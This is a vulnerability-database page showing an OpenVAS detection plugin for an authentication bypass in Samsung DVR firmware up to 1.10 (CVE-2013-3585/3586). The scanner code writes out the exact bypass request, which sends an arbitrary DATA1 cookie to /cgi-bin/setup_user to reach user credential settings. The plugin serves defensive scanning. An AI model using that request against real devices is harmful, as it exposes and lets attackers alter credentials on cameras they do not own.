Lucene search
+L

Samsung DVR Authentication Bypass

🗓️ 21 Aug 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 161 Views

Samsung DVR Authentication Bypass vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2013-3585
28 Aug 201301:00
cve
cve
CVE
CVE-2013-3586
28 Aug 201301:00
cve
cvelist
Cvelist
CVE-2013-3585
28 Aug 201301:00
cvelist
cvelist
Cvelist
CVE-2013-3586
28 Aug 201301:00
cvelist
exploitdb
Exploit DB
Samsung DVR Firmware 1.10 - Authentication Bypass
21 Aug 201300:00
exploitdb
euvd
EUVD
EUVD-2013-3520
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-3585
28 Aug 201313:09
nvd
nvd
NVD
CVE-2013-3586
28 Aug 201313:09
nvd
prion
Prion
Information disclosure
28 Aug 201313:09
prion
prion
Prion
Authentication flaw
28 Aug 201313:09
prion
Rows per page
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103770");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-3585", "CVE-2013-3586");
  script_tag(name:"cvss_base", value:"7.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:C/I:C/A:C");

  script_name("Samsung DVR Authentication Bypass");

  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/882286");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61938");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61942");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/27753");
  script_xref(name:"URL", value:"http://www.andreafabrizi.it/?exploits:samsung:dvr");

  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-08-21 14:27:11 +0200 (Wed, 21 Aug 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"This vulnerability allows remote unauthenticated users to:

  - Get/set/delete username/password of local users (/cgi-bin/setup_user)

  - Get/set DVR/Camera general configuration

  - Get info about the device/storage

  - Get/set the NTP server

  - Get/set many other settings.");

  script_tag(name:"vuldetect", value:"Check if /cgi-bin/setup_user is accessible without authentication.");

  script_tag(name:"insight", value:"In most of the CGIs on the Samsung DVR, the session check is made
  in a wrong way, that allows to access protected pages simply putting an arbitrary cookie into the HTTP request.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"summary", value:"The remote Samsung DVR is prone to an Authentication Bypass.");
  script_tag(name:"affected", value:"Samsung DVR with firmware version <= 1.10.");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");

port = http_get_port(default:80);

buf = http_get_cache(item:"/", port:port);

if("<title>Web Viewer for Samsung DVR</title>" >!< buf)exit(0);

host = http_host_name(port:port);

req = 'GET /cgi-bin/setup_user HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'Connection: close\r\n';

result = http_send_recv(port:port, data:req + '\r\n', bodyonly:FALSE);

if("top.document.location.href" >!< result)exit(99);

req += 'Cookie: DATA1=YWFhYWFhYWFhYQ==\r\n\r\n';

result = http_send_recv(port:port, data:req + '\r\n', bodyonly:FALSE);

if("<title>User</title>" >< result && "nameUser_Name_0" >< result && "nameUser_Pw_0" >< result) {
  security_message(port:port);
  exit(0);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Jul 2023 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 27.6
EPSS0.2354
161